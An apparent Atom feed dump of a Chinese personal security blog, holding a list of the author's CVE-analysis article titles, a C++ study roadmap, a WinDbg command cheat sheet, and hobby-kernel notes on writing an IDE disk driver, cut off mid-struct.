Thunder_J Just for fun 2021-02-08T09:49:21.874Z https://thunderjie.github.io/ Thunder_J Hexo My Articles https://thunderjie.github.io/2099/01/01/My-Articles/ 2099-01-01T04:00:00.000Z 2021-02-08T09:49:21.874Z 最近重新弄好了自己的博客,不定时更新一些比较有意思的内容

下面收集了一些其他平台我发布的文章

CVE-2017-11882 Office栈溢出漏洞分析

CVE-2015-2546 内核Use After Free漏洞分析

CVE-2015-0057:从Windows内核UAF到内核桌面堆分配

类型混淆漏洞模式浅析

NTFS CVE-2020-17096 分析复现

SMB协议漏洞分析

]]>
<p>最近重新弄好了自己的博客,不定时更新一些比较有意思的内容</p> <p>下面收集了一些其他平台我发布的文章</p> <p><a href="https://xz.aliyun.com/t/6668" target="_blank" rel="noopener">CVE-20
C++学习路线 https://thunderjie.github.io/2021/02/08/C-学习路线/ 2021-02-08T09:58:10.000Z 2021-02-08T10:50:53.024Z 0x00:前言

转眼间2020就到了末尾,马上就要过年了,祝各位新年快乐。没想到在2020年末尾我能得到微软给我的第一笔2000刀的赏金,明年继续加油,也祝各位0day多多。

我不太清楚有没有人看我的博客,博客也很久没更新了,大多是记载之前的一些文章,现在看起哪些文章我都觉得写的太烂了,如果你能认真看完,那确实太棒了,你的理解学习能力很好。从我接触安全到2021年大概是2年前,我记得我第一次注册看雪论坛是2018-09-13,当时就想着学最难的技术,能接触到的就是二进制pwn和逆向了吧,无奈很多东西都看不太懂,就只有慢慢补基础,有些时候觉得自己开发能力弱,又不知道该写点什么,导致了我并没有搞清楚自己的学习路线到底应该是啥,所以下面我准备搜集一点关于开发的学习资料,大多数针对C++,感兴趣的同学可以借鉴借鉴。

0x01:资源

因为资源的链接不稳定,很容易就没了,所以我还是就放个名字,感兴趣的朋友自己去搜吧,首先是我推荐的视频教程

  • 侯捷老师的C++系列课程

    前段时间b站貌似搜得到,现在好像没了,想看的小伙伴可以去YouTube

  • 滴水逆向三期课程

    入门友好,很多东西讲的非常透彻,海东老师的功底也非常深厚,需要花时间慢慢消化

看完了上面的东西可以自己买点书来看,侯捷老师翻译的一些书、《C++ Primer》、《Windows核心编程》之类的都很好。

0x02:项目

看完了上面的资料,可以写一些项目,如果没时间实现完,至少要知道核心代码的原理,下面是我搜集的一些项目和链接,如果你现在才大二或者更小,那么恭喜你,你还有很多时间写下面的项目,你如果能在大学阶段写完下面的东西,按照开发岗的条件要求自己,那么以后做二进制相关工作是非常非常非常有优势的,至少我所认识的大牛,基本上都是开发出身,或者有很强的编程功底,具体能不能学到东西,你试试就知道了。

还有一些项目我没写进去,可以参考下面这个知乎问题

1
https://www.zhihu.com/question/29112393/answer/1692382930?utm_source=qq&utm_medium=social&utm_oi=980106412042633216
]]>
<h2 id="0x00:前言"><a href="#0x00:前言" class="headerlink" title="0x00:前言"></a>0x00:前言</h2><p>转眼间2020就到了末尾,马上就要过年了,祝各位新年快乐。没想到在2020年末尾我能得到微软给我的第
WinDbg Tricks https://thunderjie.github.io/2020/11/10/WinDbg-Tricks/ 2020-11-10T09:32:48.000Z 2021-02-08T09:56:05.806Z 本文搜集了一些windbg常用的命令,方便自己查阅,老版本windbg现在已经集成在visual studio里面,新版本的直接在Microsoft Store里面可以搜到,不过新的windbg preview版本不是很稳定,不过UI挺友好的。下面的内容不定期补充,首先放一个官方对windbg命令介绍的地址

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/commands

符号

windbg里面下载微软符号都需要梯子,我是这样设置的

1
2
3
SRV*C:\MyLocalSymbols*http://msdl.microsoft.com/download/symbols 
srv*C:\symbols_folder*http://msdl.microsoft.com/download/symbols
SRV*c:\mysymbol* http://msdl.microsoft.com/download/symbols

如果符号没加载出来可以!sym noisy激活详细符号加载显示,然后再.reload重新加载看什么问题

断点

下面记录一些常用断点命令

1.硬件断点,最多下四个断点

1
ba e1 address

2.软件断点

1
bp address

3.条件断点

对寄存器进行监控,eax 等于0x41的时候断下

1
ba e1 address ".if @eax = 0x41  {} .else {gc}"

打印一些数据,当在address断下的时候可以打印函数名和rax寄存器里面的内容

1
bp address ".echo function name; dq rax; gc"

如果需要指定当前线程中对函数下断点,可以用下面的例子指定当前线程

1
ba e1 /t $thread xxx

修改数据

1.修改寄存器命令,将eax置为1,如果要修改浮点寄存器,需要按格式修改,如下所示

1
2
r @eax=1
r xmm0 = 1 1 1 1

2.修改内存命令,将内存为80505648的数据改为00001234

1
ed 80505648 00001234

进程操作

内核态

1.!process 0 0显示进程列表

1
2
3
4
5
6
7
8
9
10
11
1: kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS ffff86851c08a300
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ad002 ObjectTable: ffffc78ec3004b80 HandleCount: 2457.
Image: System

PROCESS ffff86851c12e080
SessionId: none Cid: 00a0 Peb: 00000000 ParentCid: 0004
DirBase: 02d72002 ObjectTable: ffffc78ec3007380 HandleCount: 0.
Image: Registry

后面加xxx.exe可以指定进程

1
2
3
4
5
1: kd> !process 0 0 smss.exe
PROCESS ffff868520d36400
SessionId: none Cid: 01a4 Peb: 2238d4d000 ParentCid: 0004
DirBase: 12a451002 ObjectTable: ffffc78ec3507480 HandleCount: 53.
Image: smss.exe

也可以根据PID直接搜索

1
2
3
4
5
6
1: kd> !process 470 0
Searching for Process with Cid == 470
PROCESS ffff868523618340
SessionId: 0 Cid: 0470 Peb: d294a3d000 ParentCid: 02bc
DirBase: 1b824002 ObjectTable: ffffc78ec70f7b40 HandleCount: 657.
Image: svchost.exe

2.如果windbg正在调试内核,可以直接修改当前process调试ring3的进程,.process命令指定要用作进程上下文的进程,直接使用.process可显示当前进程的EPROCESS,下面展示了一次切换进程上下文的例子,将0xffff86851c08a300切换为了ffff868520f77080,这样就可以直接调ring3的进程,不过需要重新g跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
1: kd> .process
Implicit process is now ffff8685`1c08a300
1: kd> .process /i /p ffff8685`20f77080
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
1: kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff805`0c27cb30 cc int 3
0: kd> .process
Implicit process is now ffff8685`20f77080
...
  1. 可以通过!dml_proc命令直接查看所有进程,非常方便
    1
    2
    3
    4
    5
    6
    1: kd> !dml_proc
    Address PID Image file name
    ffff8685`1c08a300 4 System
    ffff8685`1c12e080 a0 Registry
    ffff8685`20d36400 1a4 smss.exe
    ...

用户态

1.~ 显示所有线程简略信息, ~* 显示所有线程详细信息,最左边有小点的就是当前线程

1
2
3
4
5
6
7
8
9
10
11
12
0:008> ~
0 Id: d50c.6dcc Suspend: 1 Teb: 00000084`30e52000 Unfrozen
...
. 8 Id: d50c.d60 Suspend: 1 Teb: 00000084`30e62000 Unfrozen
0:008> ~*
0 Id: d50c.6dcc Suspend: 1 Teb: 00000084`30e52000 Unfrozen
Start: mstsc!WinMainCRTStartup (00007ff7`1f2e37c0)
Priority: 0 Priority class: 32 Affinity: fff
...
. 8 Id: d50c.d60 Suspend: 1 Teb: 00000084`30e62000 Unfrozen
Start: ntdll!DbgUiRemoteBreakin (00007ffd`8c01c840)
Priority: 0 Priority class: 32 Affinity: fff

显示当前线程

1
2
3
4
0:008> ~.
. 8 Id: d50c.d60 Suspend: 1 Teb: 00000084`30e62000 Unfrozen
Start: ntdll!DbgUiRemoteBreakin (00007ffd`8c01c840)
Priority: 0 Priority class: 32 Affinity: fff

查看数据

查看句柄

可以通过!handle命令查看当前进程所有句柄,需要在内核调试器下才能看句柄信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1: kd> !handle

PROCESS ffff868523618340
SessionId: 0 Cid: 0470 Peb: d294a3d000 ParentCid: 02bc
DirBase: 1b824002 ObjectTable: ffffc78ec70f7b40 HandleCount: 657.
Image: svchost.exe

Handle table at ffffc78ec70f7b40 with 657 entries in use

0004: Object: ffff868521fda960 GrantedAccess: 001f0003 (Protected) (Inherit) Entry: ffffc78ec72a1010
Object: ffff868521fda960 Type: (ffff86851c0a87a0) Event
ObjectHeader: ffff868521fda930 (new version)
HandleCount: 1 PointerCount: 32767

0008: Object: ffff868521fda3e0 GrantedAccess: 001f0003 (Protected) (Inherit) Entry: ffffc78ec72a1020
Object: ffff868521fda3e0 Type: (ffff86851c0a87a0) Event
ObjectHeader: ffff868521fda3b0 (new version)
HandleCount: 1 PointerCount: 32718
...

加上/f选项即可查看句柄详细信息,此功能大多用在查看驱动设备名

1
2
3
4
5
6
7
8
9
10
11
12
13
1: kd> !handle 0xa0 /f

PROCESS ffff868523618340
SessionId: 0 Cid: 0470 Peb: d294a3d000 ParentCid: 02bc
DirBase: 1b824002 ObjectTable: ffffc78ec70f7b40 HandleCount: 657.
Image: svchost.exe

Handle table at ffffc78ec70f7b40 with 657 entries in use

00a0: Object: ffff868523605b80 GrantedAccess: 00000804 (Protected) (Audit) Entry: ffffc78ec72a1280
Object: ffff868523605b80 Type: (ffff86851c1f56c0) EtwRegistration
ObjectHeader: ffff868523605b50 (new version)
HandleCount: 1 PointerCount: 1

2.查看浮点寄存器,如果直接用 r xmm0 查看寄存器会是科学计数,用下面指令就很方便了

1
2
3
4
5
6
7
8
9
10
0: kd> .formats xmm0
Evaluate expression:
Hex: 00000005`00000002
Decimal: 21474836482
Octal: 0000000000240000000002
Binary: 00000000 00000000 00000000 00000101 00000000 00000000 00000000 00000010
Chars: ........
Time: Mon Jan 1 08:35:47.483 1601 (UTC + 8:00)
Float: low 2.8026e-045 high 7.00649e-045
Double: 1.061e-313

插件

chain 可以查看Windbg此时已经加载的插件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:000> .chain
Extension DLL search Path:
C:\Program Files\...
Extension DLL chain:
dbghelp: image 10.0.20153.1000, API 10.0.6,
[path: C:\Program Files\WindowsApps\...]
ext: image 10.0.20153.1000, API 1.0.0,
[path: C:\Program Files\WindowsApps\...]
exts: image 10.0.20153.1000, API 1.0.0,
[path: C:\Program Files\WindowsApps\...]
uext: image 10.0.20153.1000, API 1.0.0,
[path: C:\Program Files\WindowsApps\...]
ntsdexts: image 10.0.20153.1000, API 1.0.0,
[path: C:\Program Files\WindowsApps\...]

.load 可以加载插件,需要指定全部路径,下面是例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:000> .load E:\..\segmentheap.dll
0:000> .chain // 检查是否成功加载插件
Extension DLL search Path:
C:\Program Files\WindowsApps\...
Extension DLL chain:
E:\..\segmentheap.dll: API 1.0.6, built Tue Dec 8 11:11:55 2020
[path: E:\..\segmentheap.dll]
dbghelp: image 10.0.20153.1000, API 10.0.6,
[path: C:\Program Files\WindowsApps\..\dbghelp.dll]
ext: image 10.0.20153.1000, API 1.0.0,
[path: C:\Program Files\WindowsApps\..\ext.dll]
exts: image 10.0.20153.1000, API 1.0.0,
[path: C:\Program Files\WindowsApps\..\exts.dll]
uext: image 10.0.20153.1000, API 1.0.0,
[path: C:\Program Files\WindowsApps\..\uext.dll]
ntsdexts: image 10.0.20153.1000, API 1.0.0,
[path: C:\Program Files\WindowsApps\..\ntsdexts.dll]
0:000> !heapinfo 250befe0000 // 成功加载
Try to find Bucket Manager................................................................................
Search 0x20 pages, FIND BUCKET HEADER FAILURE...CHECK HEAP ADDRESS...
]]>
<p>本文搜集了一些windbg常用的命令,方便自己查阅,老版本windbg现在已经集成在visual studio里面,新版本的直接在Microsoft Store里面可以搜到,不过新的windbg preview版本不是很稳定,不过UI挺友好的。下面的内容不定期补充,首先放一
简单内核实现笔记-part-4 https://thunderjie.github.io/2020/06/11/简单内核实现笔记-part-4/ 2020-06-11T00:57:52.000Z 2020-06-18T03:14:45.534Z 编写硬盘驱动程序

创建新磁盘文件

下面我们需要逐步实现文件系统,在此之前我们需要实现一个硬盘驱动程序,我们之前一直操作的hd60M.img为主盘,里面存放的是我们的内核,我们需要创建一个从盘,用于存放后面的文件系统,具体操作如下,创建一个大小为80MB的hd80M.img磁盘

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/home/guang/soft/bochs-2.6.2/bin > ls // 进入bin目录
bochs bochs.out bochsrc.disk bxcommit bximage hd60M.img kernel mbr
/home/guang/soft/bochs-2.6.2/bin > sudo ./bximage // 创建磁盘
========================================================================
bximage
Disk Image Creation Tool for Bochs
$Id: bximage.c 11315 2012-08-05 18:13:38Z vruppert $
========================================================================

Do you want to create a floppy disk image or a hard disk image?
Please type hd or fd. [hd] // 回车

What kind of image should I create?
Please type flat, sparse or growing. [flat] // 回车

Enter the hard disk size in megabytes, between 1 and 8257535
[10] 80 // 大小选80

I will create a 'flat' hard disk image with
cyl=162
heads=16
sectors per track=63
total sectors=163296
total size=79.73 megabytes

What should I name the image?
[c.img] hd80M.img // 名称

Writing: [] Done.

I wrote 83607552 bytes to hd80M.img.

The following line should appear in your bochsrc:
ata0-master: type=disk, path="hd80M.img", mode=flat, cylinders=162, heads=16, spt=63

运行bochs观察0x475处物理地址是否显示硬盘数1,表示之前创建的内核镜像hd60M.img

1
2
3
4
5
6
7
<bochs:2> c
^CNext at t=83451366
(0) [0x000000001dcd] 0008:c0001dcd (unk. ctxt): mov ebp, esp ; 89e5
<bochs:3> xp/b 0x475
[bochs]:
0x00000475 <bogus+ 0>:0x01
<bochs:4>

然后我们需要修改bochsrc.disk文件,将参数写入配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Configuration file for Bochs
# 设置Bochs在运行过程中能够使用的内存: 32 MB
megs: 32

# 设置真实机器的BIOS和VGA BIOS
# 修改成你们对应的地址

romimage: file=/home/guang/soft/bochs-2.6.2/share/bochs/BIOS-bochs-latest
vgaromimage: file=/home/guang/soft/bochs-2.6.2/share/bochs/VGABIOS-lgpl-latest

# 设置Bochs所使用的磁盘
# 设置启动盘符
boot: disk

# 设置日志文件的输出
log: bochs.out

# 开启或关闭某些功能,修改成你们对应的地址
mouse: enabled=0
keyboard:keymap=/home/guang/soft/bochs-2.6.2/share/bochs/keymaps/x11-pc-us.map

# 硬盘设置
ata0: enabled=1, ioaddr1=0x1f0, ioaddr2=0x3f0, irq=14
ata0-master: type=disk, path="hd60M.img", mode=flat, cylinders=121, heads=16, spt=63
ata0-slave: type=disk, path="hd80M.img", mode=flat, cylinders=162, heads=16, spt=63

# 增加gdb支持
# gdbstub: enabled=1, port=1234, text_base=0, data_base=0, bss_base=0

再次运行bochs测试,成功写入

1
2
3
4
5
6
7
<bochs:1> c
^CNext at t=46045793
(0) [0x000000003d5c] 0008:c0003d5c (unk. ctxt): mov dword ptr ss:[ebp-4], eax ; 8945fc
<bochs:2> xp/b 0x475
[bochs]:
0x00000475 <bogus+ 0>:0x02 // 安装成功
<bochs:3>

创建磁盘分区表

首先我们需要配置hd80M.img,将其分区,因Ubuntu 16.04需要给 EFI 代码留磁盘最开始的1M空间,所以分区是从2048开始的,具体的分区结果如下所示,其中5-9分区属性类型设为未知

1
2
3
4
5
6
7
8
设备         启动 Start 末尾 扇区   Size Id 类型
./hd80M.img1 2048 4096 2049 1M 83 Linux
./hd80M.img4 6144 163295 157152 76.8M 5 扩展
./hd80M.img5 8192 9000 809 404.5K 66 未知
./hd80M.img6 11049 12000 952 476K 66 未知
./hd80M.img7 14049 14500 452 226K 66 未知
./hd80M.img8 16549 17000 452 226K 66 未知
./hd80M.img9 19049 20000 952 476K 66 未知

编写硬盘驱动

现在硬盘上有两个ata通道,第一个通道其中断信号都是挂在8259A的IRQ14上的,第二个通道接在8259A从片的IRQ15上。来自8259A从片的中断都是由8259A主片想处理器传达的,8259A从片是级联在主片的IRQ2接口的,为了让处理器响应8259A从片的中断,需要我们修改interrupt文件,打开中断

1
2
3
4
5
6
7
8
9
10
11
12
/* 初始化可编程中断控制器8259A */
static void pic_init(void) {
[...]
/* IRQ2用于级联从片,必须打开,否则无法响应从片上的中断
主片上打开的中断有IRQ0的时钟,IRQ1的键盘和级联从片的IRQ2,其它全部关闭 */
outb (PIC_M_DATA, 0xf8);

/* 打开从片上的IRQ14,此引脚接收硬盘控制器的中断 */
outb (PIC_S_DATA, 0xbf);

put_str(" pic_init done\n");
}

我们在内核实现一个内核打印函数,这样就不需要用console系列打印了,具体实现和printf很相似就不详细说明了

1
2
3
4
5
6
7
8
9
/* 供内核使用的格式化输出函数 */
void printk(const char* format, ...) {
va_list args;
va_start(args, format);
char buf[1024] = {0};
vsprintf(buf, format, args);
va_end(args);
console_put_str(buf);
}

接下来具体实现硬盘驱动,首先我们需要引入结构体,具体实现在device目录下创建ide文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* 分区结构 */
struct partition {
uint32_t start_lba; // 起始扇区
uint32_t sec_cnt; // 扇区数
struct disk* my_disk; // 分区所属的硬盘
struct list_elem part_tag; // 用于队列中的标记
char name[8]; // 分区名称
struct super_block* sb; // 本分区的超级块
struct bitmap block_bitmap; // 块位图
struct bitmap inode_bitmap; // i结点位图
struct list open_inodes; // 本分区打开的i结点队列
};

/* 硬盘结构 */
struct disk {
char name[8]; // 本硬盘的名称,如sda等
struct ide_channel* my_channel; // 此块硬盘归属于哪个ide通道
uint8_t dev_no; // 本硬盘是主0还是从1
struct partition prim_parts[4]; // 主分区顶多是4个
struct partition logic_parts[8]; // 逻辑分区数量无限,但总得有个支持的上限,那就支持8个
};

/* ata通道结构 */
struct ide_channel {
char name[8]; // 本ata通道名称
uint16_t port_base; // 本通道的起始端口号
uint8_t irq_no; // 本通道所用的中断号
struct lock lock; // 通道锁
bool expecting_intr; // 表示等待硬盘的中断
struct semaphore disk_done; // 用于阻塞、唤醒驱动程序
struct disk devices[2]; // 一个通道上连接两个硬盘,一主一从
};

具体实现中我们用到了三个操作命令,分别是identify指令、读扇区指令、写扇区指令

1
2
3
4
/* 一些硬盘操作的指令 */
#define CMD_IDENTIFY 0xec // identify指令
#define CMD_READ_SECTOR 0x20 // 读扇区指令
#define CMD_WRITE_SECTOR 0x30 // 写扇区指令

初始化函数如下,通过获取0x475物理地址处的内容得到硬盘数量,然后通过DIV_ROUND_UP向上取正的宏计算通道数,然后再循环处理每一个通道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
uint8_t channel_cnt;   // 按硬盘数计算的通道数
struct ide_channel channels[2]; // 有两个ide通道

/* 硬盘数据结构初始化 */
void ide_init() {
printk("ide_init start\n");
uint8_t hd_cnt = *((uint8_t*)(0x475)); // 获取硬盘的数量
ASSERT(hd_cnt > 0);
channel_cnt = DIV_ROUND_UP(hd_cnt, 2); // 一个ide通道上有两个硬盘,根据硬盘数量反推有几个ide通道
struct ide_channel* channel;
uint8_t channel_no = 0;

/* 处理每个通道上的硬盘 */
while (channel_no < channel_cnt) {
channel = &channels[channel_no];
sprintf(channel->name, "ide%d", channel_no);

/* 为每个ide通道初始化端口基址及中断向量 */
switch (channel_no) {
case 0:
channel->port_base = 0x1f0; // ide0通道的起始端口号是0x1f0
channel->irq_no = 0x20 + 14; // 从片8259a上倒数第二的中断引脚,温盘,也就是ide0通道的的中断向量号
break;
case 1:
channel->port_base = 0x170; // ide1通道的起始端口号是0x170
channel->irq_no = 0x20 + 15; // 从8259A上的最后一个中断引脚,我们用来响应ide1通道上的硬盘中断
break;
}

channel->expecting_intr = false; // 未向硬盘写入指令时不期待硬盘的中断
lock_init(&channel->lock);

/* 初始化为0,目的是向硬盘控制器请求数据后,硬盘驱动sema_down此信号量会阻塞线程,
直到硬盘完成后通过发中断,由中断处理程序将此信号量sema_up,唤醒线程. */
sema_init(&channel->disk_done, 0);
channel_no++; // 下一个channel
}
printk("ide_init done\n");
}

完善基础构件

在下一步之前我们需要完善一些基础构建,首先我们需要实现thread_yield,其作用是主动把CPU使用权让出来,代码添加在thread文件中

1
2
3
4
5
6
7
8
9
10
/* 主动让出cpu,换其它线程运行 */
void thread_yield(void) {
struct task_struct* cur = running_thread();
enum intr_status old_status = intr_disable();
ASSERT(!elem_find(&thread_ready_list, &cur->general_tag));
list_append(&thread_ready_list, &cur->general_tag); // 当前任务添加到就绪队列队尾
cur->status = TASK_READY; // 设置标志
schedule(); // 调度
intr_set_status(old_status);
}

下一步实现idle线程,此线程作用就是当就绪队列中没有任务时运行,以免系统悬停在其他地方

1
2
3
4
5
6
7
8
/* 系统空闲时运行的线程 */
static void idle(void* arg UNUSED) {
while(1) {
thread_block(TASK_BLOCKED);
//执行hlt时必须要保证目前处在开中断的情况下
asm volatile ("sti; hlt" : : : "memory"); // hlt指令使处理器挂起
}
}

接下来我们需要实现休眠函数,也就是经常使用的sleep函数,为的是当磁盘操作的时候使CPU去执行其他任务,避免资源浪费,改动在timer文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#define IRQ0_FREQUENCY   100
#define mil_seconds_per_intr (1000 / IRQ0_FREQUENCY) // 每秒100次中断

uint32_t ticks; // ticks是内核自中断开启以来总共的嘀嗒数

/* 以tick为单位的sleep,任何时间形式的sleep会转换此ticks形式 */
static void ticks_to_sleep(uint32_t sleep_ticks) {
uint32_t start_tick = ticks;

/* 若间隔的ticks数不够便让出cpu */
while (ticks - start_tick < sleep_ticks) {
thread_yield();
}
}

/* 以毫秒为单位的sleep 1秒= 1000毫秒 */
void mtime_sleep(uint32_t m_seconds) {
uint32_t sleep_ticks = DIV_ROUND_UP(m_seconds, mil_seconds_per_intr); // 毫秒转化为时钟滴答数
ASSERT(sleep_ticks > 0);
ticks_to_sleep(sleep_ticks); // 底层还是调用ticks_to_sleep
}

接下来继续实现硬盘中断处理函数,下面是选择主盘和从盘的函数,原理就是判断DEV位

1
2
3
4
5
6
7
8
/* 选择读写的硬盘 */
static void select_disk(struct disk* hd) {
uint8_t reg_device = BIT_DEV_MBS | BIT_DEV_LBA;
if (hd->dev_no == 1) {// 若是从盘就置DEV位为1
reg_device |= BIT_DEV_DEV;
}
outb(reg_dev(hd->my_channel), reg_device);
}

写入硬盘控制器函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* 向硬盘控制器写入起始扇区地址及要读写的扇区数 */
static void select_sector(struct disk* hd, uint32_t lba, uint8_t sec_cnt) {
ASSERT(lba <= max_lba);
struct ide_channel* channel = hd->my_channel;

/* 写入要读写的扇区数*/
outb(reg_sect_cnt(channel), sec_cnt); // 如果sec_cnt为0,则表示写入256个扇区

/* 写入lba地址(即扇区号) */
outb(reg_lba_l(channel), lba); // lba地址的低8位,不用单独取出低8位.outb函数中的汇编指令outb %b0, %w1会只用al。
outb(reg_lba_m(channel), lba >> 8); // lba地址的8~15位
outb(reg_lba_h(channel), lba >> 16); // lba地址的16~23位

/* 因为lba地址的24~27位要存储在device寄存器的0~3位,
* 无法单独写入这4位,所以在此处把device寄存器再重新写入一次*/
outb(reg_dev(channel), BIT_DEV_MBS | BIT_DEV_LBA | (hd->dev_no == 1 ? BIT_DEV_DEV : 0) | lba >> 24);
}

命令发送函数

1
2
3
4
5
6
/* 向通道channel发命令cmd */
static void cmd_out(struct ide_channel* channel, uint8_t cmd) {
/* 只要向硬盘发出了命令便将此标记置为true,硬盘中断处理程序需要根据它来判断 */
channel->expecting_intr = true;
outb(reg_cmd(channel), cmd);
}

读写硬盘中数据的函数和等待函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/* 硬盘读入sec_cnt个扇区的数据到buf */
static void read_from_sector(struct disk* hd, void* buf, uint8_t sec_cnt) {
uint32_t size_in_byte;
if (sec_cnt == 0) {
/* 因为sec_cnt是8位变量,由主调函数将其赋值时,若为256则会将最高位的1丢掉变为0 */
size_in_byte = 256 * 512;
} else {
size_in_byte = sec_cnt * 512;
}
insw(reg_data(hd->my_channel), buf, size_in_byte / 2);
}

/* 将buf中sec_cnt扇区的数据写入硬盘 */
static void write2sector(struct disk* hd, void* buf, uint8_t sec_cnt) {
uint32_t size_in_byte;
if (sec_cnt == 0) {
/* 因为sec_cnt是8位变量,由主调函数将其赋值时,若为256则会将最高位的1丢掉变为0 */
size_in_byte = 256 * 512;
} else {
size_in_byte = sec_cnt * 512;
}
outsw(reg_data(hd->my_channel), buf, size_in_byte / 2);
}

/* 等待30秒 */
static bool busy_wait(struct disk* hd) {
struct ide_channel* channel = hd->my_channel;
uint16_t time_limit = 30 * 1000; // 可以等待30000毫秒
while (time_limit -= 10 >= 0) {
if (!(inb(reg_status(channel)) & BIT_STAT_BSY)) {
return (inb(reg_status(channel)) & BIT_STAT_DRQ);
} else {
mtime_sleep(10); // 睡眠10毫秒
}
}
return false;
}

读写硬盘函数和中断处理函数,注意和上面函数的区别,下面的函数是从硬盘hd的扇区地址lba处读取sec_cnt个扇区到buf,上面的函数是从硬盘hd中读入sec_cnt个扇区的数据到buf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
/* 从硬盘读取sec_cnt个扇区到buf */
void ide_read(struct disk* hd, uint32_t lba, void* buf, uint32_t sec_cnt) {
ASSERT(lba <= max_lba);
ASSERT(sec_cnt > 0);
lock_acquire (&hd->my_channel->lock); // 先上锁保证操作唯一

/* 1 先选择操作的硬盘 */
select_disk(hd);

uint32_t secs_op; // 每次操作的扇区数
uint32_t secs_done = 0; // 已完成的扇区数
while(secs_done < sec_cnt) {
if ((secs_done + 256) <= sec_cnt) {
secs_op = 256;
} else {
secs_op = sec_cnt - secs_done;
}

/* 2 写入待读入的扇区数和起始扇区号 */
select_sector(hd, lba + secs_done, secs_op);

/* 3 执行的命令写入reg_cmd寄存器 */
cmd_out(hd->my_channel, CMD_READ_SECTOR); // 准备开始读数据

/********************* 阻塞自己的时机 ***********************
在硬盘已经开始工作(开始在内部读数据或写数据)后才能阻塞自己,现在硬盘已经开始忙了,
将自己阻塞,等待硬盘完成读操作后通过中断处理程序唤醒自己*/
sema_down(&hd->my_channel->disk_done);
/*************************************************************/

/* 4 检测硬盘状态是否可读 */
/* 醒来后开始执行下面代码*/
if (!busy_wait(hd)) { // 若失败
char error[64];
sprintf(error, "%s read sector %d failed!!!!!!\n", hd->name, lba);
PANIC(error);
}

/* 5 把数据从硬盘的缓冲区中读出 */
read_from_sector(hd, (void*)((uint32_t)buf + secs_done * 512), secs_op);
secs_done += secs_op;
}
lock_release(&hd->my_channel->lock);
}

/* 将buf中sec_cnt扇区数据写入硬盘 */
void ide_write(struct disk* hd, uint32_t lba, void* buf, uint32_t sec_cnt) {
ASSERT(lba <= max_lba);
ASSERT(sec_cnt > 0);
lock_acquire (&hd->my_channel->lock);

/* 1 先选择操作的硬盘 */
select_disk(hd);

uint32_t secs_op; // 每次操作的扇区数
uint32_t secs_done = 0; // 已完成的扇区数
while(secs_done < sec_cnt) {
if ((secs_done + 256) <= sec_cnt) {
secs_op = 256;
} else {
secs_op = sec_cnt - secs_done;
}

/* 2 写入待写入的扇区数和起始扇区号 */
select_sector(hd, lba + secs_done, secs_op);

/* 3 执行的命令写入reg_cmd寄存器 */
cmd_out(hd->my_channel, CMD_WRITE_SECTOR); // 准备开始写数据

/* 4 检测硬盘状态是否可读 */
if (!busy_wait(hd)) { // 若失败
char error[64];
sprintf(error, "%s write sector %d failed!!!!!!\n", hd->name, lba);
PANIC(error);
}

/* 5 将数据写入硬盘 */
write2sector(hd, (void*)((uint32_t)buf + secs_done * 512), secs_op);

/* 在硬盘响应期间阻塞自己 */
sema_down(&hd->my_channel->disk_done);
secs_done += secs_op;
}
/* 醒来后开始释放锁*/
lock_release(&hd->my_channel->lock);
}

/* 硬盘中断处理程序 */
void intr_hd_handler(uint8_t irq_no) {
ASSERT(irq_no == 0x2e || irq_no == 0x2f);
uint8_t ch_no = irq_no - 0x2e;
struct ide_channel* channel = &channels[ch_no];
ASSERT(channel->irq_no == irq_no);
/* 不必担心此中断是否对应的是这一次的expecting_intr,
* 每次读写硬盘时会申请锁,从而保证了同步一致性 */
if (channel->expecting_intr) {
channel->expecting_intr = false;
sema_up(&channel->disk_done);

/* 读取状态寄存器使硬盘控制器认为此次的中断已被处理,从而硬盘可以继续执行新的读写 */
inb(reg_status(channel));
}
}

获取硬盘信息和扫描分区表

获取硬盘信息需要用到identify命令,其返回内容如下

image-20200612181835991

扫描分区表需要从MBR开始一步一步遍历主分区,找到扩展分区,然后递归每一个子扩展分区,找到逻辑分区,还是在ide文件中,下面是添加的数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* 用于记录总扩展分区的起始lba,初始为0,partition_scan时以此为标记 */
int32_t ext_lba_base = 0;

uint8_t p_no = 0, l_no = 0; // 用来记录硬盘主分区和逻辑分区的下标

struct list partition_list; // 分区队列

/* 构建一个16字节大小的结构体,用来存分区表项 */
struct partition_table_entry {
uint8_t bootable; // 是否可引导
uint8_t start_head; // 起始磁头号
uint8_t start_sec; // 起始扇区号
uint8_t start_chs; // 起始柱面号
uint8_t fs_type; // 分区类型
uint8_t end_head; // 结束磁头号
uint8_t end_sec; // 结束扇区号
uint8_t end_chs; // 结束柱面号
/* 更需要关注的是下面这两项 */
